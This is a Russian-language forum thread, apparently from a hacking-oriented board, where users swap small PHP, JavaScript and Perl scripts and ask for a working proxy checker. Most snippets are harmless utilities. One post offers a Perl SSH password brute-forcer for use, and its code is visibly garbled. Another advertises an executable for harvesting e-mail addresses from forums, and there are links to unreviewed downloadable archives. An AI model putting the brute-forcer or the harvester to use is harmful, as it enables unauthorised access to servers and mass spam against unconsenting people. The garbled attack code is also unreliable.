Пару дней назад по спутниковой рыбалке скачался архивчик со скриптами вот решил выложить т.к. времени нету их просмотреть http://rapidshare.ru/513433 Может кто найдёт чё интересного.
Простая граббилка текст с сайтов! Может я её выкладывал уже... PHP: <? $f = file_get_contents('http://mail.ru/index.php'); preg_match_all( '/<b>(.*)<\/b>/iUs' , $f, $matches); echo $matches[0][0]; ?> Выводит всё что между <b> и </b>
таково по моему ещё не выкладывали, функция тупо выводит красивость номера %) xyz xy и т.д , мож кому пригодитя... PHP: <? function uin_beautiful($uin) { if(is_numeric($uin)) { $length=strlen($uin); if($length>=5 && $length<=9) { $buf=substr($uin,0,1); for($i=1;$i<$length;$i++) { $simvol=substr($uin,$i,1); if(!preg_match("/$simvol/",$buf)) { $buf.=$simvol; } } $buf_length=strlen($buf); switch($buf_length) { case 1: return 'x'; break; case 2: return 'xy'; break; case 3: return 'xyz'; break; case 4: return 'xyza'; break; default: return 'ХЗ'; break; } } else return 'Неверная длинна uin-а'; } else return 'Введите верный uin'; } ?>
Скрипт создания пустых файлов Так как тему удалили, выложу сюда, чтоб вопросов таких больше не возникало: PHP: <? set_time_limit(0); $limit=100; // предельное колличество файлов for ($i = 1; $i <= $limit; $i++) { $fp = fopen ("$i.txt", "w"); fclose($fp); } ?>
Ёжик бегающий на сайте index.html Code: <script language="JavaScript1.2" src=ezjik.js></script> <script language="JavaScript1.2"> if (flag) { content = ''; createLayer('cnt', 0, 0, true, content); var num = 10; var flakes = new Array(num); for (var i = 0; i < num; i++) { flakes[i] = new Flake('flake' + i); content = '<img src="egw' + i + '.gif" alt="А_ёжик_то_бежит_' + i + '" border=0 width=15 height=21></a>'; createLayer(flakes[i].name, 0, 0, false, content); } startFlakes(); } </script> ezjik.js Code: var bV=parseInt(navigator.appVersion); var ns=(document.layers) ? 1 : 0; var ie=((document.getElementById) && (bV >= 4)) ? 1 : 0; var ff = ((navigator.appName == "Netscape") && (bV >= 5)) ? 1 : 0; var flag = (ns || ie) ? 1 : 0; var timerID; var timerIDl; var timerIDr; var kurs = -0.5; var nomer = 0; var lasta = 8; var egx = 0; var egy = 0; var egvx = 4; var egvy = 2; var tut = 200; var vmin = 1; var vmax = 10; var vr = 5; function createLayer(name, left, top, visible, content) { var layer; if (ns) { document.writeln('<layer name="' + name + '" left=' + left + ' top=' + top + ' width=120 height=84 visibility=' + (visible ? '"show"' : '"hide"') + '>'); document.writeln(content); document.writeln('</layer>'); layer = getLayer(name); layer.width = 120; layer.height = 84; } if (ie) { document.writeln('<div id="' + name + '" style="position:absolute; left:' + left + 'px; top:' + top + 'px; width:120px; height:84px; visibility:' + (visible ? 'visible;' : 'hidden;') + '">'); document.writeln(content); document.writeln('</div>'); } } function Flake(chipname) { this.name = chipname; } function startFlakes() { if (!flag) { return; } var i; getWindowSize(); egx = pageW * Math.random() + pageX; egy = pageH * Math.random() + pageY; for (i = 0; i < flakes.length; i++) { moveLayer(flakes[i].name, egx, egy); hideLayer(flakes[i].name); } buzz(); } function moveLayer(name, x, y) { var layer = getLayer(name); if (ns) { layer.moveTo(x, y); } if (ie) { layer.left = x; layer.top = y; } } function showLayer(name) { var layer = getLayer(name); if (ns) { layer.visibility = "show"; } if (ie) { layer.visibility = "visible"; } } function hideLayer(name) { var layer = getLayer(name); if (ns) { layer.visibility = "hide"; } if (ie) { layer.visibility = "hidden"; } } function getLayer(name) { if (ns) { return(document.layers[name]); } else if (ie) { layer = eval('document.getElementById("' + name + '").style'); return(layer); } else { return(null); } } function getWindowSize() { if(ns || ff) { pageX=window.pageXOffset; pageW=window.innerWidth - 20 - 120; pageY=window.pageYOffset; pageH=window.innerHeight - 8 - 84; if (ff) pageH -= 4; } else { pageX=document.body.scrollLeft; pageW=document.body.offsetWidth - 20 - 120; pageY=document.body.scrollTop; pageH=document.body.offsetHeight - 8 - 84; } } function buzz() { hideLayer(flakes[ lasta ].name); getWindowSize(); egx += egvx*kurs*6; egy += egvy*2; if(egy >= pageY + pageH) { egvy *= -1; egy = pageY + pageH; } if(egy <= pageY) { egvy = egvy *= -1; egy = pageY; } if (egx < pageX) { egx = pageX; } if (egx > pageX + pageW) { egx = pageX + pageW; } egvx += vr * (Math.random()-0.5); if(egvx > vmax) { egvx = vmax*2 - egvx; } if(egvx < vmin) { egvx = vmin*2 - egvx; } egvy += (Math.random()-0.5); if((egvy > (vmax/2))||(egvy < (-vmax)/2)) { egvy = 0; } if ( (Math.random() > 0.96) || (egx <= pageX) || (egx >= pageX + pageW) ) { showLayer(flakes[ lasta ].name); kurs *= -1; timerID = setTimeout("buzz()", tut*2); if (kurs < 0) { buzr(); timerIDr = setTimeout("buzl()", tut); } else { buzl(); timerIDr = setTimeout("buzr()", tut); } } else { nomer = nomer + 2; if ( nomer >= 8 ) { nomer = nomer - 8; } lasta = nomer + 0.5 + kurs; moveLayer(flakes[ lasta ].name, egx, egy); showLayer(flakes[ lasta ].name); timerID = setTimeout("buzz()", tut); } } function buzl() { hideLayer(flakes[ lasta ].name); lasta = 8; moveLayer(flakes[ lasta ].name, egx, egy); showLayer(flakes[ lasta ].name); } function buzr() { hideLayer(flakes[ lasta ].name); lasta = 9; moveLayer(flakes[ lasta ].name, egx, egy); showLayer(flakes[ lasta ].name); } Картинки с ёжиком http://slil.ru/25352370
Дата + время) Code: <SCRIPT type="text/javascript"> var months=new Array(13); months[1]="января"; months[2]="февраля"; months[3]="марта"; months[4]="апреля"; months[5]="мая"; months[6]="июня"; months[7]="июля"; months[8]="августа"; months[9]="сентября"; months[10]="октября"; months[11]="*ноября"; months[12]="декабря"; var time=new Date(); var lmonth=months[time.getMonth() + 1]; var date=time.getDate(); var year=time.getYear(); var hours=time.getHours(); var minutes=time.getMinutes(); if (eval(hours) <10) {hours="0"+hours} if (eval(minutes) < 10) {minutes="0"+minutes} if (year < 2000) year = year + 1900; document.write("Сейчас: " + date + " "); document.write(lmonth + " " + year + ", " + hours + ":" + minutes + " "); </SCRIPT>
Нужно поверх картинки поместить URL сайта тут есть пример http://www.codenet.ru/webmast/php/Image-Resize-GD/ - но текст нельзя каким-то образом позиционировать на картинке
В общем не помню, кому именно спасибо за идею (не смог найти), но используя скелет кода, написал прогу для парсинга e-mail с форумов (не судит строго, первый опыт на php, но работает, как не странно), итак: Forum e-mail parser - e-mail парсер с форумов. Принцип работы - парсит всё мыло с любого вида форумов, но при условии, что вам известны стартовая страница интересующей темы форума и конечная страница интересующей темы форума и динамически изменяющейся величиной в ссылке является ПОСЛЕДНИЙ символ. Пример: http://www.бла-бла-бла.ru/viewtopic.php?t=5821, где 5821 - номер интересующей вас страницы. В комплекте идут 5 файлов: 1. fmailparser1.0.exe - сама программа 2. url.txt - сюда забиваете url интересующго форума без номера страницы, если посмотреть выше, то: http://www.бла-бла-бла.ru/viewtopic.php?t= 3. pages_start.txt - сюда забиваете номер страницы, с которой хотите начать сканирование на e-mail. В данном случае - 5821 4. pages_end.txt - сюда забиваете номер последней страницы для сканирования. Например: 5822 5. ReadmeFIRST.txt - этот файл Просто создайте отдельную директорию, распакуйте туда все 5 файлов, сделайте необходимые настройки и запустите fmailparser1.0.exe и все найденные e-mail будут сохранены в файл emails.txt ( 0,5 мГб ) Еще раз прошу прощения за то, что не смог вспомнить автора идеи, но риспект огроменный. В архиве лежит пример с реальными параметрами. Просто запустите fmailparser1.0.exe и поймете суть проги. Скачать здесь: http://pashkela.narod.ru/progi/fmailparser1.0.rar
чистилка кода для случаев когда есть грязный код, который в ручную неудобно чистить, написал скрипт(он еще много для чего пригодица) PHP: $dirty = '</td> </tr> </table> <table> <tr> <td class="content">код который нужен</td> </tr> </table>'; $n = strpos($dirty,'<table'); //считаем кол-во символов от начала кода до нужного нам места $clear = substr($dirty, $n);//берем код начиная с символа $n до конца $clear // - готово у меня был массив набитый такими таблицами с херней в коде,этим скриптом очистил
незнаю точно выкладывали ли тут бруте shh если нет то вот он #!/usr/bin/perl #c0dex by m0x.lk || ~censored~ Team || system ("clear"); system ("cls"); system ("color 02"); print "\n\n"; print "\t\t\tc0dex by m0x.lk\n\n"; print "\tm0x.lk || ~censored~ Team"; print "\t\t BruteSSH by m0x.lk\n"; sleep 1; use strict(); use Net::SSH; $host=$ARGV[0]; $user=$ARGV[1]; $passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n"; print "\n\n"; $i = 1; open (D,"<$passdict") or die "Diccionario no encontrado\n"; while(<D>) { $try = $_; chomp $try; $t = my $ssh = Net::SSH:erl->new($host,debug=>1,use_pty=>1); $ssh->login($user, $try); print "\n"; print "[+] Obteniendo Pass"; print "\n"; print $i++ . ": Fallo - $try\n"; print "'$try - $i intentos"; last; $t->close; } close(IN);
функция меняет кусок кода или текста, выделенный вами, на то что хотите: функция: PHP: <? function replacer($a, $start, $end, $replacement) { if (is_array ($a)) { for ($i=0; $i<count($a); $i++) { $result[] = preg_replace('!'.$start.'(.*?)'.$end.'!si', $replacement, $a[$i]); } } else { $result = preg_replace('!'.$start.'(.*?)'.$end.'!si', $replacement, $a); } return $result; } ?> использование: PHP: <? $a = 'привет, меня зовут Корвин'; //текст или массив в котором нужно произвести замену, если массив то без ' ' $start = 'меня'; //начало заменяемого, это может быть символ или слово, оно тоже будет заменено $end = 'зовут'; //конец заменяемого $replacement = 'йа'; //то, на что меняем, если на пустоту, то ставим ' ' $str = replacer($a, $start, $end, $replacement); // готово, измененный текст помещен в $str echo $str; //print_r ($str); //если массив ?> если пригодица,подкиньте репы=)
Мой первый сексуальный опыт с пхп. Граббер радиостанций с shoutcast.org PHP: <table cellpadding="0" cellspacing="0" style="border:1px solid #000000"> <tr> <th> <? if (!$addr){ $EXTERNALPAGE = importPage("http://www.shoutcast.com/directory/index.phtml?startat=0&numresult=30&s=gabber"); } else { $EXTERNALPAGE = importPage($addr); } function importPage( $addr ) { $pattern1 = '|(http://)([^/]*)/{0,1}(.*)|'; $base = ""; if (preg_match($pattern1, $addr, $list)) { $server = "http://".$list[2]; $fullpath = $list[3]; $pattern11 = '|(.*)/([^/]*)$|'; if ( preg_match($pattern11, $fullpath, $list) ) { $path = $list[1]; $fname = $list[2]; } else { $path = ""; $fname = $fullpath; } if ($path) $path = "/".$path; $base = $server.$path; } $arr = @file($addr); if ( !$arr ) return "Page not found!"; $str = join( "", $arr ); $pattern2 = '|<table border="0" cellpadding="0" cellspacing="0" align="center">(.*)<td nowrap align="center" width="10">|sei'; if (preg_match($pattern2, $str, $list)) $str = $list[1]; $pattern3 = '/(<img\s.*?src\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei'; $str = preg_replace($pattern3, "stripslashes((strpos('\\3','ttp:')<=0) ". "?((strspn('\\3','/')<=0)". "?'\\1$base/\\3\\4'". ":'\\1$server\\3\\4' )". ":'\\0')", $str); $pattern4 = '/(<a\s.*?href\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei'; $str = preg_replace($pattern4, "stripslashes((strpos('\\3','ttp:')<=0)&&". "(strpos('\\3','ailto:')<=0) &&". "(Ord('\\3')!=Ord('#')) ". "?((strspn('\\3','/')<=0)". "?'\\1$base/\\3\\4'". ":'\\1$server\\3\\4' )". ":'\\0')", $str); $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=title&s=drum&numresult=30 "id="dirlinks">Description</a>', 'Description', $str); $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=listeners&s=drum&numresult=30 "id="dirlinks">Listeners/Max</a>', 'Listeners / Max', $str); $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=bitrate&s=drum&numresult=30 "id="dirlinks">Bitrate</a>', 'Bitrate', $str); $str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=content&s=drum&numresult=30 "id="dirlinks">Type</a>', 'Type', $str); return $str; } ?> <?= $EXTERNALPAGE?> </th> </tr> </table> ЗЫ. Щас я видоуроки с евгением поповым досмотрю еще че нить придумаю...
Прошу выложить у кого есть работоспособный прокси чекер... а то я сегодня ночью пролистал ВСЮ тему, скачал 5 прокси чекеров на пхп, но как начал проверять....не пашут... вот гляньте http://fata1team.onep.ru/proxy-chekers/proxy_cheker.php - это первый. а вот этот вообще оказался только прокси листом... где прокси давно дохлые... http://fata1team.onep.ru/proxy-chekers/proxy-cheker1.php. и ещё... http://fata1team.onep.ru/proxy-chekers/proxy-cheker2.php - в этот я впихнул в файл proxy.txt список рабочих проксей...но ни чё не выдаёт... и пробовал пихать в файл proxyes.txt... тоже безрезультатно=(( может в бесплатных хостингах проблема? хотя на онеп.ру есть даже сокеты... зы ещё тестил на джино-нет.ру и на freehostia.com... объясните пожалуйста в чём тут дело...
прокси-чекер Вот 100% рабочий: PHP: <?php // Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config) error_reporting(0); // Limit the amount of proxies that can be tested at any one time $maximum_proxies_to_test = 50; // Enter a password (if required) to protect the page $password = ''; // Actual proxyjudge part of the page function return_env_variables() { echo '<pre>'."\n"; foreach ($_SERVER as $header => $value ) { if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0)) { echo $header.' = '.$value."\n"; } } echo '</pre>'; } // Function to go away and get the page (calls through the proxy back to itself) function get_judge_page($proxy) { // Depending on the server environment, this timeout setting may not be available. $timeout = 15; $proxy_cont = ''; list($proxy_host, $proxy_port) = explode(":", $proxy); $proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout); if ($proxy_fp) { stream_set_timeout($proxy_fp, $timeout); fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n"); while(!feof($proxy_fp)) { $proxy_cont .= fread($proxy_fp,4096); } fclose($proxy_fp); $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4); } return $proxy_cont; } // Check for the control string to see if it's a valid fetch of the judge function check_valid_judge_response($page) { if(strlen($page) < 5) return false; return strpos($page, 'REMOTE_ADDR') !== false; } // Check for the IP addresses function check_anonymity($page) { if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false) return false; return true; } // Takes and tests a proxy // 0 - Bad proxy // 1 - Good (non anon) proxy // 2 - Good (anonymous) proxy function test_proxy($proxy) { $page = get_judge_page($proxy); if(!check_valid_judge_response($page)) return 0; if(!check_anonymity($page)) return 1; return 2; } ////////// Main Page //////////// // If this is a judge request, just return the environmental variables if(getenv('QUERY_STRING') == "test") { return_env_variables(); } // Else check whether we have been passed a list of proxies to test or not // Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x) elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') && (isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') && ( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) )) { $proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1); // Set the overall time limit for the page execution to 10 mins set_time_limit(600); // Set up some arrays to hold the results $anon_proxies = array(); $nonanon_proxies = array(); $bad_proxies = array(); // Loop through and test the proxies for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1) { $draculalol = htmlspecialchars($proxies[$thisproxy]); echo '' . $draculalol . ''; flush(); switch(test_proxy($proxies[$thisproxy])) { case 2: echo ' - <font color="green">Анонимная</font><br>' . "\n"; $anon_proxies[count($anon_proxies)] = $proxies[$thisproxy]; break; case 1: echo ' - <font color="yellow">Не анонимная</font><br>' . "\n"; $nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy]; break; case 0: echo ' - <font color="red">Не рабочая</font><br>' . "\n"; $bad_proxies[count($bad_proxies)] = $proxies[$thisproxy]; break; } } echo '<pre>'; echo '<br><b><font color="green" size="2">Анонимные прокси:</font></b>' . "\n"; for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1) echo $anon_proxies[$thisproxy] . "\n"; echo '<br><b><font color="yellow" size="2">Не анонимные прокси:</font></b>' . "\n"; for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1) echo $nonanon_proxies[$thisproxy] . "\n"; echo '<br><b><font color="red" size="2">Не рабочие прокси:</font></b>' . "\n"; for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1) $xek = htmlspecialchars($bad_proxies[$thisproxy]); echo $xek . "\n"; echo '</pre>'; } // Just a blank call of the page - show the form for the user to fill in else { echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n"; echo '<input type="hidden" name="action" value="fred">' . "\n"; echo '<textarea name="proxies" cols=50 rows=10></textarea><br>' . "\n"; if(strlen($password) > 0) echo 'Password: <input type="password" name="password" size="15"><br>' . "\n"; echo '<input type="submit" value="Старт">' . "\n"; echo '</form>' . "\n"; } ?>